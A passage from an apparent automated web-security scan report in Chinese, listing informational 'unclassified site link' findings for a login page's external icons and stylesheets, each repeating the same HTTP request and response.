Chrome/57.0.2987.133 Safari/537.36
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if qt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
```

```
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
        .error {
         color: red;
         .toptitle{font-family:"
                                       微软雅黑";font-size:16px;padding-top:10px;}
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
    <!-- Login Background -->
    <div id="login-background">
        <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
    <!-- END Login Background -->
    <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
        <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6F;padding-left:100px;padding-</pre>
```



问题 10 / 19 Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/demo/js/app.js (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
```

```
<!--[if at IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/imq/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
        .error {
          color: red;
                                       微软雅黑";font-size:16px;padding-top:10px;}
         .toptitle{font-family:"
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/pluqin/modernizr/modernizr.min.js">
</script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
<!-- Login Background -->
```

```
<div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   </div>
   <!-- END Login Background -->
   <!-- Login Container -->
   <div id="login-container" class="animation-fadeIn">
      <!-- Login Title -->
       <!-- END Login Title -->
       <!-- Login Block -->
       <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
               <div align="center" style="padding:30px 0;">
                      </div>
        <!-- Login Form -->
         <form id="form-login" class="form-horizontal">
        <div class="form-group"
```



问题 **11 / 19** Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1

Host: system-rest-enterprise.mall.xt.weilian.cn

Connection: keep-alive

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/57.0.2987.133 Safari/537.36

Upgrade-Insecure-Requests: 1
```

```
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with.content-type.sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 91>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <! -- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
       .error {
         color: red;
```

```
.toptitle{font-family:" 微软雅黑";font-size:16px;padding-top:10px;}
        body{background-color: #F2F4F4;}
        #login-background{background-color:#730000;}
   </style>
   <!-- Modernizr (browser feature detection library) -->
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
   <!-- Login Background -->
   <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   <!-- END Login Background -->
   <!-- Login Container -->
   <div id="login-container" class="animation-fadeIn">
       <!-- Login Title -->
       <!-- END Login Title -->
       <!-- Login Block -->
       <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                <div align="center" style="padding:30px 0;">
                        <!-- Login Form -->
         <form id="form-login" class="form-horizontal">
         <div class="form-group"
```



问题 12 / 19 Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 k rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
```

```
<!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
   <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
        .error {
          color: red;
         .toptitle{font-family:"
                                        微软雅黑";font-size:16px;padding-top:10px;}
         body{background-color:#F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
<body>
    <!-- Login Background -->
    <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
    <!-- END Login Background -->
    <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
        <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                  <div align="center" style="padding:30px 0;">
                          | Style="width:80%;"/>
| cing src="image/toptitle.png" style="width:80%;"/>
| cdiv class="toptitle"> 资源商城管理平台</div
                 </div>
          <!-- Login Form -->
          <form id="form-login" class="form-horizontal">
          <div class="form-group"
. . .
```



问题 13 / 19 Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
   <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/imq/icon57.png"</pre>
sizes="57x57">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
```

```
<link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
   <!-- END Icons -->
    <!-- Stylesheets -->
   <!-- Bootstrap is included in its original form, unaltered -->
   k rel="stylesheet" type="text/css"
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
<link rel="stylesheet" href="css/font-awesome.min.css"/>
   <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
   <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
   <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
   <!-- END Stylesheets -->
   <style>
        .error {
         color: red;
                                       微软雅黑";font-size:16px;padding-top:10px;}
         .toptitle{font-family:"
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
   <!-- Modernizr (browser feature detection library) -->
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
   <!-- Login Background -->
    <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   </div>
   <!-- END Login Background -->
   <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
       <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                 <div align="center" style="padding:30px 0;">
                         <img src="image/toptitle.png" style="width:80%;"/>
                                                      资源商城管理平台</div>
                         <div class="toptitle">
                </div>
          <!-- Login Form -->
          <form id="form-login" class="form-horizontal">
          <div class="form-group"
. . .
. . .
```

问题 **14 / 19** Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if qt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
```

```
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
        .error {
         color: red;
         .toptitle{font-family:"
                                       微软雅黑";font-size:16px;padding-top:10px;}
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
    <!-- Login Background -->
    <div id="login-background">
        <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
    <!-- END Login Background -->
    <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
        <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
```



The Malware Link Analysis module could not classify this link

问题 15 / 19 Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
